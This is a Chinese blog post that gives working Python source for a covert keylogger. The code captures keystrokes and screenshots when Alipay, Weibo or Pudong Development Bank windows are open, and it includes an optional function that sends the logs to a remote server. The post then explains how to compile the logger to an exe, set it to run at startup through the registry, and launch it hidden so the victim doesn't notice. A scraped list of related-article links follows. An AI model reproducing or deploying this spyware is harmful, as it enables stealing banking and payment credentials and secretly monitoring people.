一、代码部分:获取用户输入信息,并与截图一起保存到XX目录下
 
# -*- coding: utf-8 -*- #
 
import pythoncom
import pyHook   
import time
import socket
from PIL import ImageGrab
 
#
#如果是远程监听某个目标电脑,可以自己架设一个服务器,然后将获取到的信息发回给服务器
#
def send_msg_to_server(msg):
    host=""
    port=1234
    buf_size=1024
    addr=(host,port)
    if len(msg)>0:
        tcp_client_sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        tcp_client_sock.connect(addr)
        info=time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))+' from '+socket.gethostname()+':'
        tcp_client_sock.sendall(info+msg)
        tcp_client_sock.close()
         
#
#也可以将获取到的信息保存到本地文件下
#
def write_msg_to_txt(msg):   
    f=open('D:/workspace/mytest/pyhook/media/monitor.txt','a')
    f.write(msg+'\r\n')
    f.close()
 
def onMouseEvent(event):
    # 监听鼠标事件    
    global MSG
    if len(MSG)!=0:       
        #send_msg_to_server(MSG)
        write_msg_to_txt(MSG)
        MSG=''
        pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
        #将用户屏幕截图,保存到本地某个目录下(也可以搞成远程发送到自己的服务器)
        pic = ImageGrab.grab()
        pic.save('D:/workspace/mytest/pyhook/media/mouse_%s.png' % pic_name)
    return True
   
def onKeyboardEvent(event):
    #监听键盘事件
    global MSG
    title= event.WindowName.decode('GBK')
    #通过网站title,判断当前网站是否是“监听目标”
    if title.find(u"支付宝") != -1 or title.find(u'新浪微博')!=-1 or title.find(u'浦发银行')!=-1:
        #Ascii:  8-Backspace , 9-Tab ,13-Enter
        if (127 >= event.Ascii > 31) or (event.Ascii == 8):
            MSG += chr(event.Ascii)              
        if (event.Ascii == 9) or (event.Ascii == 13):           
            #send_msg_to_remote(MSG)
            write_msg_to_txt(MSG)
            MSG = ''
            #屏幕抓图实现
            pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
            pic = ImageGrab.grab()
            #保存成为以日期命名的图片
            pic.save('D:/workspace/mytest/pyhook/media/keyboard_%s.png' % pic_name)
    return True
  
if __name__ == "__main__":    
    MSG = ''  
    #创建hook句柄
    hm = pyHook.HookManager()
 
    #监控鼠标
    hm.SubscribeMouseLeftDown(onMouseEvent)
    hm.HookMouse()
 
    #监控键盘
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()
 
    #循环获取消息
    pythoncom.PumpMessages()
 
二、用py2exe将脚本打包:
    新建一个py文件setup.py,内容如下:
    from distutils.core import setup
    import py2exe
    setup(console=["monitor.py"])
    #setup(windows=["monitor.py"])
 
    命令行执行以下命令:
    python setup.py py2exe
    
三、将该程序设置为开机自动启动:
    法①:
    将需要开机启动的文件(创建一个快捷方式,然后)放到“开始/所有程序/启动”目录下
    法②:
    修改注册表:命令行— regedit ,然后到以下路径下:
    [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]  
 
    新建一个“字符串值”,然后编辑:设置exe文件所在路径
    D:\workspace\mytest\pyhook\dist\monitor.exe
    
   (以上两种方式启动monitor.exe的话,会弹出一个命令框,显示监听日志信息,这样的话,被监听的人一下就能发现了,可以试试下面这个方式)
    法③:
    新建一个 .vbs文件,内容如下:
    set wscriptObj = CreateObject("Wscript.Shell")
    wscriptObj.run “D:\workspace\mytest\pyhook\dist\monitor.exe",0
 
    双击运行该vbs文件,则monitor.exe就在后台启动了(不会弹出一个大黑框)。
    然后参考法①、② 把该vbs设置成开机启动即可。
 
附言:
1、该程序涉及到一些模块都需要自己安装一下;
2、文章中凡是“D:\workspace....”这样的路径都需要改成自己的真实路径;
3、代码仅供分享、学习,请勿干非法的事;
4、我也是初学,所以请随便喷;

pyHook监听用户鼠标、键盘事件的更多相关文章

  1. js中对arry数组的各种操作小结 瀑布流AJAX无刷新加载数据列表--当页面滚动到Id时再继续加载数据 web前端url传递值 js加密解密 HTML中让表单input等文本框为只读不可编辑的方法 js监听用户的键盘敲击事件,兼容各大主流浏览器 HTML特殊字符

    js中对arry数组的各种操作小结   最近工作比较轻松,于是就花时间从头到尾的对js进行了详细的学习和复习,在看书的过程中,发现自己平时在做项目的过程中有很多地方想得不过全面,写的不够合理,所以说啊 ...

  2. js监听用户的键盘敲击事件,兼容各大主流浏览器

    js监听用户的键盘敲击事件,兼容各大主流浏览器 <script type="text/javascript"> document.onkeydown = functio ...

  3. vue使用element-ui的el-input监听不了键盘事件解决

    vue使用element-ui的el-input监听不了键盘事件,原因应该是element-ui自身封装了一层div在input标签外面,把原来的事件隐藏了,所以如下代码运行是无响应的: <el ...

  4. JAVA之旅(三十一)——JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件

    JAVA之旅(三十一)--JAVA的图形化界面,GUI布局,Frame,GUI事件监听机制,Action事件,鼠标事件 有段时间没有更新JAVA了,我们今天来说一下JAVA中的图形化界面,也就是GUI ...

  5. Python——pyHook监听鼠标键盘事件

    pyHook包为Windows中的全局鼠标和键盘事件提供回调. 底层C库报告的信息包括事件的时间,事件发生的窗口名称,事件的值,任何键盘修饰符等. 而正常工作需要pythoncom等操作系统的API的 ...

  6. js 监听手机端键盘弹出和收起事件

    //这里区分不同系统,可以参考之前的文档记录 https://www.cnblogs.com/wind-wang/p/10737110.html const ua = typeof window == ...

  7. Android如何监听蓝牙耳机的按键事件(转)

    源: Android如何监听蓝牙耳机的按键事件 写在前面: 直接想要代码很简单,你直接把滚动条拉到最底端就可以看到.如果想要十分地了解为什么,那就按照我规划的一步一步来理解.以下测试环境以手头上有的「 ...

  8. Android怎样监听蓝牙耳机的按键事件

    Android怎样监听蓝牙耳机的按键事件 写在前面: 直接想要代码非常easy,你直接把滚动栏拉到最底端就能够看到.假设想要十分地了解为什么,那就依照我规划的一步一步来理解.下面測试环境以手头上有的「 ...

  9. 【转】Qt鼠标键盘事件

    http://blog.csdn.net/lovebird_27/article/details/50351336 Qt 程序需要在main()函数创建一个QCoreApplication对象,然后调 ...

随机推荐

  1. [LeetCode] 728. Self Dividing Numbers_Easy tag: Math

    A self-dividing number is a number that is divisible by every digit it contains. For example, 128 is ...

  2. jxl(Java Excel API) 使用方法 【2】

    JAVA EXCEL API简介 Java Excel是一开放源码项目,通过它Java开发人员可以读取Excel文件的内容.创建新的Excel文件.更新已经存在的Excel文件.使用该 API非Win ...

  3. c++移动构造函数

    写在前面 C++中有“左值”.“右值”的概念,C++11以后,又有了“左值”.“纯右值”.“将亡值”的概念.关于这些概念,许多资料上都有介绍,本文在拾人牙慧的基础上又加入了一些自己的一些理解,同时提出 ...

  4. cocos代码研究(5)Action学习笔记

    理论部分 Action类也是cocos核心基础类之一,在游戏中起着非常重要的作用,继承自Ref,被 FiniteTimeAction(有限时间动作), Follow , 以及 Speed 继承. 有限 ...

  5. SV中的随机化

    SV搭建testbench的关键概念:CRT(constraint random test),测试集的随机化. 由于对象class由数据和操作组成,所以对数据的随机化一般放在一个class内.(对环境 ...

  6. Ignite初探

    Guava是一个很方便的本地缓存工具,但是在多节点处理的过程中,本地缓存无法满足数据一致性的问题.分布式缓存Ignite很好的解决了数据一致性,可靠性,事务性等方面的问题. Ignite支持分区方式和 ...

  7. 下载及安装selenium IDE

    安装方法1:可以从官方网站下载:http://seleniumhq.org/download/,但是由于selenium服务器在美国,中美的网络经常不稳定,经常会连接失败,导致下载不了 可以找一下se ...

  8. Wireshark图解教程(简介、抓包、过滤器)(转)

    本文转自:http://www.cnblogs.com/observer/archive/2011/11/04/2235219.html 下面是一张地址为192.168.1.2的计算机正在访问&quo ...

  9. Nginx能做什么

    本文只针对Nginx在不加载第三方模块的情况能处理哪些事情,由于第三方模块太多所以也介绍不完,当然本文本身也可能介绍的不完整,毕竟只是我个人使用过和了解到过得.所以还请见谅,同时欢迎留言交流. Ngi ...

  10. Mysql利用存储过程插入500W条数据

    比如插入1000W数据,不建议一次性插入,比如一次插入500W,分批插入. 创建表 /*部门表*/ CREATE TABLE dept( id INT UNSIGNED PRIMARY KEY AUT ...